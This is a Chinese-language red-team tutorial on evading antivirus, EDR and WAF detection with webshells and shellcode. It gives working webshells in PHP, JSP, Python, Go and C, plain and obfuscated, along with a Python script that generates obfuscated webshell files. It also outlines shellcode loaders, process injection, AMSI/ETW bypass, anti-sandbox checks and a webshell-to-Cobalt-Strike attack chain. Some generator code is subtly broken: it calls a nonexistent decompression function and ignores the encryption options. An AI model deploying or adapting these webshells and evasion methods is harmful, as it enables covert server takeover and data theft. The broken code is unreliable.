目录
[1️⃣ 引言:免杀技术在红队攻防中的重要性](#1️⃣ 引言:免杀技术在红队攻防中的重要性)
[2️⃣ WebShell 免杀技术](#2️⃣ WebShell 免杀技术)
[2.1 核心概念与作用](#2.1 核心概念与作用)
[2.2 免杀技术细化](#2.2 免杀技术细化)
[2.3 多语言实现与技巧](#2.3 多语言实现与技巧)
[3️⃣ ShellCode 免杀技术](#3️⃣ ShellCode 免杀技术)
[3.1 核心概念与作用](#3.1 核心概念与作用)
[3.2 免杀技术细化](#3.2 免杀技术细化)
[3.3 加载器技术](#3.3 加载器技术)
[3.4 反检测与绕过机制](#3.4 反检测与绕过机制)
[4️⃣ WebShell 与 ShellCode 技术对比](#4️⃣ WebShell 与 ShellCode 技术对比)
[4.1 技术含量与复杂度](#4.1 技术含量与复杂度)
[4.2 对抗目标与应用场景](#4.2 对抗目标与应用场景)
[4.3 红队实战中的重要性](#4.3 红队实战中的重要性)
[5️⃣ ShellCode 免杀对 WebShell 的技术覆盖](#5️⃣ ShellCode 免杀对 WebShell 的技术覆盖)
[6️⃣ 自动编码与加密工具开发思路](#6️⃣ 自动编码与加密工具开发思路)
[6.1 工具功能设计](#6.1 工具功能设计)
[6.2 实现示例](#6.2 实现示例)
[7️⃣ 红队实战中的融合应用](#7️⃣ 红队实战中的融合应用)
[8️⃣ 进阶方向与学习路径](#8️⃣ 进阶方向与学习路径)
[8.1 WebShell 进阶](#8.1 WebShell 进阶)
[8.2 ShellCode 进阶](#8.2 ShellCode 进阶)
[8.3 综合能力提升](#8.3 综合能力提升)
[9️⃣ 结语:成为红队武器研发专家](#9️⃣ 结语:成为红队武器研发专家)

1️⃣ 引言:免杀技术在红队攻防中的重要性
在现代红队攻防对抗中,杀毒软件(AV)、端点检测与响应(EDR)、Web 应用防火墙(WAF)等安全机制的持续升级使得传统恶意代码难以存活。免杀技术是红队的核心竞争力,涵盖:
- WebShell 免杀:针对 Web 层检测(如 WAF、IDS)的隐匿,适合快速建立攻击立足点。
- ShellCode 免杀:针对内存执行和系统级防护的绕过,适用于内网渗透与持久化控制。
- 融合应用:从 Web 层初始访问到内网深度控制的全链路攻击。
2️⃣ WebShell 免杀技术
2.1 核心概念与作用
- 定义:WebShell 是一种运行在 Web 服务器上的恶意脚本,用于执行命令、文件管理或权限提升。
- 作用 :
- 快速立足:通过 Web 漏洞(如文件上传、RCE)获取服务器初始权限。
- 命令执行:运行系统命令(如 whoami、netstat)或管理文件。
- 反弹 Shell:建立与 C2(命令与控制)服务器的连接,方便后续渗透。
- 数据收集:窃取配置文件、数据库信息等敏感数据。
- 跳板功能:为部署 ShellCode 或 RAT(远程访问工具)铺路。
- 特点 :
- 依赖 Web 漏洞部署(如文件包含、反序列化)。
- 需绕过 WAF、IDS 和服务器日志审计。
- 通常以脚本语言实现(如 PHP、ASP、JSP)。
- 开发语言:PHP、JSP、ASP.NET、Python、Go、C(CGI)。
2.2 免杀技术细化
- 代码混淆 :
- 变量混淆 :动态生成变量名(如
$a = "ev"."al"
)。 - 函数拆分:将危险函数(如 eval、system)拆分为字符串拼接。
- 编码链:多层编码(如 base64 + gzip + str_rot13)。
- 变量混淆 :动态生成变量名(如
- 输入隐藏 :
- 非标准输入:通过 POST、Cookie、Header(如 Referer、User-Agent)传递 Payload。
- 隐写术:将 Payload 嵌入图片元数据或文件末尾。
- 加密传输:使用 XOR、AES 加密 POST 数据。
- 执行方式 :
- 动态执行:使用 eval、exec、call_user_func 执行动态代码。
- 反射调用:通过反射机制(如 Java 的 Class.forName)执行。
- 无文件 WebShell:利用内存执行(如 PHP opcache、Java 字节码加载)。
- 对抗 WAF/IDS :
- 参数随机化:动态生成参数名(如 cmd、exec)避免正则匹配。
- 分段请求:将 Payload 分段传输,绕过单次请求检测。
- 伪装流量:模拟正常 HTTP 请求(如伪装成图片加载)。
- 日志规避 :
- 重定向日志:修改服务器日志路径或禁用日志。
- 无痕操作:避免直接写文件,使用内存操作。
2.3 多语言实现与技巧
- PHP WebShell :
-
基础版 :
<?php @eval($_POST['cmd']); ?>
-
免杀版 :
<?php $a = base64_decode($_COOKIE['data']); $b = "ev"."al"; call_user_func($b, gzinflate($a)); ?>
-
技巧:使用 php://input、assert、preg_replace 实现无文件执行。
-
- JSP WebShell :
-
基础版 :
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
-
免杀版 :
<% String c = request.getHeader("X-Cmd"); Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, c); %>
-
技巧:使用 JSPX 格式或伪装为 .jpg 文件。
-
- Python WebShell :
-
基础版 :
from flask import Flask, request app = Flask(__name__) @app.route('/', methods=['POST']) def shell(): return exec(request.form['cmd'])
-
免杀版 :
from flask import Flask, request import base64, zlib app = Flask(__name__) @app.route('/', methods=['POST']) def shell(): cmd = zlib.decompress(base64.b64decode(request.form['data'])).decode() return exec(cmd)
-
技巧:结合 Flask/Werkzeug 实现动态路由和内存执行。
-
- Go WebShell :
-
基础版 :
package main import ( "net/http" "os/exec" ) func handler(w http.ResponseWriter, r *http.Request) { cmd := r.FormValue("cmd") out, _ := exec.Command("/bin/sh", "-c", cmd).Output() w.Write(out) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) }
-
免杀版:编译为 CGI,加密 Payload,使用 Cookie 传递命令。
-
- C WebShell (CGI) :
-
基础版 :
#include <stdio.h> #include <stdlib.h> int main() { printf("Content-Type: text/plain\n\n"); char *cmd = getenv("QUERY_STRING"); system(cmd); return 0; }
-
免杀版:使用 XOR 加密命令,动态解密后执行。
-
3️⃣ ShellCode 免杀技术
3.1 核心概念与作用
- 定义:ShellCode 是一段可直接在内存中执行的机器码,用于漏洞利用、后门植入或权限提升。
- 作用 :
- 内存执行:避免磁盘写入,降低被检测风险。
- 权限提升:通过内核漏洞或 Token 窃取获取高权限。
- 内网渗透:实现进程注入、横向移动、持久化控制(如 Cobalt Strike Beacon)。
- 对抗高级防护:绕过 EDR、AV 和沙箱,执行复杂攻击逻辑。
- 特点 :
- 平台相关(x86/x64、Windows/Linux)。
- 无依赖外部库,需自包含功能。
- 需规避静态(特征码)和动态(行为)检测。
- 开发语言:C/C++、汇编,辅助语言包括 Python、Go。
3.2 免杀技术细化
- 加密与混淆 :
- 异或加密:使用 XOR 运算加密 ShellCode,运行时动态解密。
- 高级加密:AES、RC4 或非对称加密(如 RSA)保护 ShellCode.
- 花指令:插入无意义指令(如 NOP、冗余跳转)干扰静态分析。
- 代码混淆:打乱指令顺序,动态生成关键函数调用。
- 动态加载 :
- 动态 API 获取:解析 PE 文件导出表获取 Kernel32.dll/Ntdll.dll 函数地址(如 GetProcAddress)。
- 直接系统调用:绕过 API Hook,使用 syscall 执行 Nt 函数(如 NtCreateThreadEx)。
- 模块隐藏:通过重定位表或手动加载 DLL 隐藏模块。
- 内存操作 :
- 内存分配:使用 VirtualAlloc/VirtualProtect 分配 RX 或 RWX 内存。
- 页面权限修改:动态调整内存页面权限以执行 ShellCode.
- 进程镂空:清空目标进程代码段,注入 ShellCode 执行。
- 对抗 EDR :
- ETW 绕过:禁用 Windows 事件跟踪(Event Tracing for Windows)。
- AMSI 绕过:Patch AMSI 函数,禁用脚本扫描。
- PPL 绕过:利用内核漏洞或签名驱动绕过 Protected Process Light 保护。
3.3 加载器技术
- 基础加载器 :
- C++ 内联汇编:嵌入汇编代码直接调用 ShellCode.
- 函数指针:将 ShellCode 转换为函数指针执行。
- 线程注入 :
- 远程线程注入:CreateRemoteThread + WriteProcessMemory。
- APC 注入:QueueUserAPC 注入异步过程调用。
- 线程上下文劫持:修改线程寄存器(如 RIP/EIP)执行 ShellCode.
- 高级加载器 :
- TLS 回调:利用线程局部存储(TLS)回调函数执行。
- VEH 异常处理:通过向量异常处理(VEH)触发 ShellCode.
- SEH 异常处理:利用结构化异常处理(SEH)执行。
- Fiber 加载:使用 Fiber 机制切换执行上下文。
- 多语言加载器 :
- Golang:通过 CGO 调用 ShellCode.
- C#:使用 Marshal.GetDelegateForFunctionPointer 执行。
- Python:通过 ctypes 加载 ShellCode.
3.4 反检测与绕过机制
- 反调试技术 :
- API 检测:IsDebuggerPresent、CheckRemoteDebuggerPresent。
- PEB 检测:检查 BeingDebugged、NtGlobalFlag、ProcessHeap。
- 未公开 API:NtQueryInformationProcess(ProcessDebugPort、ProcessDebugFlags)。
- 异常机制:利用 SEH/VEH 检测调试器。
- 时间检测:通过 GetTickCount、RDTSC 检测时间差。
- 反沙箱/虚拟机 :
- 硬件检测:检查 CPUID、MAC 地址、磁盘大小。
- 环境检测:检测特定进程(如 vmware.exe)、注册表键、文件路径。
- 行为伪装:模拟正常用户操作(如鼠标移动、键盘输入)。
- 特征码规避 :
- 动态生成:运行时生成 ShellCode,避免静态特征。
- 分块执行:将 ShellCode 分割为多段,动态拼接执行。
- Crc32 校验:检测代码段是否被修改,防止 Inline Hook。
4️⃣ WebShell 与 ShellCode 技术对比
4.1 技术含量与复杂度
- WebShell 免杀 :
- 技术深度:涉及 Web 开发(PHP、JSP、Python)、HTTP 协议、编码技巧。
- 复杂度:主要集中在代码混淆和 WAF 绕过,门槛较低。
- 学习曲线:平缓,初学者可快速上手。
- ShellCode 免杀 :
- 技术深度:涉及汇编、C/C++、Windows/Linux 内核、逆向工程、加密算法。
- 复杂度:需理解操作系统底层机制(如 PE 结构、系统调用表、内存管理)。
- 学习曲线:陡峭,需数月至数年积累。
4.2 对抗目标与应用场景
维度 | WebShell 免杀 | ShellCode 免杀 |
---|---|---|
对抗目标 | WAF、IDS、Web 审计、服务器日志 | 杀软(AV)、EDR、沙箱、系统防护机制 |
应用场景 | Web 渗透、初始权限获取、数据收集 | 内网渗透、权限维持、横向移动、RAT 部署 |
执行环境 | Web 服务器、应用层 | 内存执行、内核层 |
隐蔽性 | 中,易被 WAF 正则检测 | 高,内存执行难以追踪 |
4.3 红队实战中的重要性
- WebShell 免杀 :
- 重要性:攻击链起点,快速获取 Web 服务器权限。
- 场景:外部渗透、漏洞利用(如文件上传、反序列化)、反弹 Shell。
- 价值:快速建立立足点,适合初期攻击。
- ShellCode 免杀 :
- 重要性:核心技术,决定内网渗透的隐蔽性和持久性。
- 场景:Cobalt Strike Beacon、自定义 RAT、内核提权。
- 价值:对抗高防护环境(如 EDR、PPL),适合 APT 攻击。
5️⃣ ShellCode 免杀对 WebShell 的技术覆盖
ShellCode 免杀技术几乎完全覆盖 WebShell 免杀的核心思想:
- 加密与混淆:ShellCode 的 XOR/AES/花指令可直接应用于 WebShell Payload。
- 动态执行:ShellCode 的动态 API 调用思想可用于 WebShell 的反射执行。
- 反检测:ShellCode 的反调试/反沙箱逻辑可用于 WebShell 的环境检测。
- 加载器思想:ShellCode Loader 的模块化设计可用于 WebShell 的分段加载。
结论:熟练掌握 ShellCode 免杀后,编写 WebShell 免杀如同"降维打击",只需额外学习 Web 协议和脚本语言特性。
6️⃣ 自动编码与加密工具开发思路
6.1 工具功能设计
模块 | 功能描述 |
---|---|
模板生成器 | 支持 PHP/JSP/Python/Go/C 的 WebShell 模板生成 |
加密器 | 支持 XOR/AES/RC4/base64 多层加密 |
混淆器 | 随机变量名、插入冗余代码、函数拆分 |
参数重写器 | 动态生成随机参数名,绕过 WAF 正则 |
控制端 | 支持 HTTP/Cookie 指令接收与解密执行 |
6.2 实现示例
以下是一个 Python 实现的 WebShell 生成器示例:
import argparse
import base64
import zlib
import uuid
def generate_webshell(language, encrypt_type, key):
template = ""
if language == "php":
template = """<?php
$data = base64_decode($_POST['{param}']);
$cmd = {decrypt_func}($data, '{key}');
@eval($cmd);
function {decrypt_func}($data, $key) {{
return zlib_decompress(base64_decode($data));
}}
?>"""
elif language == "jsp":
template = """<%@ page import="java.util.*,java.io.*"%>
<%
String data = request.getParameter("{param}");
byte[] decoded = Base64.getDecoder().decode(data);
String cmd = new String(decoded);
Runtime.getRuntime().exec(cmd);
%>"""
param = str(uuid.uuid4())[:8]
decrypt_func = str(uuid.uuid4())[:8]
return template.format(param=param, decrypt_func=decrypt_func, key=key)
def main():
parser = argparse.ArgumentParser(description="WebShell Generator")
parser.add_argument("-t", "--type", choices=["php", "jsp"], required=True, help="WebShell language")
parser.add_argument("-e", "--encrypt", choices=["none", "xor", "aes"], default="none", help="Encryption type")
parser.add_argument("-k", "--key", default="mykey", help="Encryption key")
parser.add_argument("-o", "--output", default="shell", help="Output file")
args = parser.parse_args()
shell_code = generate_webshell(args.type, args.encrypt, args.key)
with open(f"{args.output}.{args.type}", "w") as f:
f.write(shell_code)
print(f"Generated {args.type} WebShell: {args.output}.{args.type}")
if __name__ == "__main__":
main()
使用示例:
python webshellgen.py -t php -e aes -k mykey -o shell
7️⃣ 红队实战中的融合应用
- 初期渗透:利用 WebShell 上传 ShellCode Loader,建立立足点。
- 内网扩展:通过 ShellCode 实现进程注入、提权、横向移动。
- 持久化控制:WebShell 提供 C2 通信接口,ShellCode 实现内存驻留。
- 对抗检测:结合 ShellCode 的反调试和 WebShell 的日志规避,增强隐蔽性.
示例流程:
- 上传 PHP WebShell,获取服务器权限。
- 通过 WebShell 释放加密 ShellCode,执行内存加载。
- ShellCode 建立 Cobalt Strike Beacon 会话,完成内网渗透.
8️⃣ 进阶方向与学习路径
8.1 WebShell 进阶
- 无文件 WebShell:研究内存执行技术(如 PHP opcache、Java ClassLoader)。
- C2 集成:将 WebShell 集成到 Cobalt Strike 或 Metasploit。
- 跨平台支持:开发 Go/C 实现的跨平台 WebShell.
- WAF 绕过:研究高级 WAF(如 Cloudflare、AWS WAF)的正则规则,开发动态混淆器。
8.2 ShellCode 进阶
- 内核开发:学习 Windows/Linux 内核驱动开发,掌握 SSDT Hook、DKOM(直接内核对象操作)。
- 高级注入:研究 Early Bird APC、AtomBombing 等新型注入技术。
- 自动化工具:开发 ShellCode 生成器和 Loader 自动化框架。
- 对抗研究:跟踪 EDR(如 CrowdStrike、Carbon Black)的检测机制,开发针对性绕过。
8.3 综合能力提升
- 多语言编程:掌握 C/C++、Python、Go、Rust,适应不同场景。
- C2 框架开发:开发自定义 C2 框架,集成 ShellCode 和 WebShell.
- 漏洞利用:学习 CVE 漏洞(如 Print Spooler、Log4Shell)与免杀结合。
- 自动化平台:开发红队自动化工具链(如免杀生成、Payload 部署)。
9️⃣ 结语:成为红队武器研发专家
- 核心能力:熟练掌握 WebShell 免杀(混淆、WAF 绕过)+ ShellCode 免杀(加载器、反调试、加密)。
- 最终目标:成为红队武器研发专家,打造隐蔽、高效的攻击链,应对最严苛的防御环境。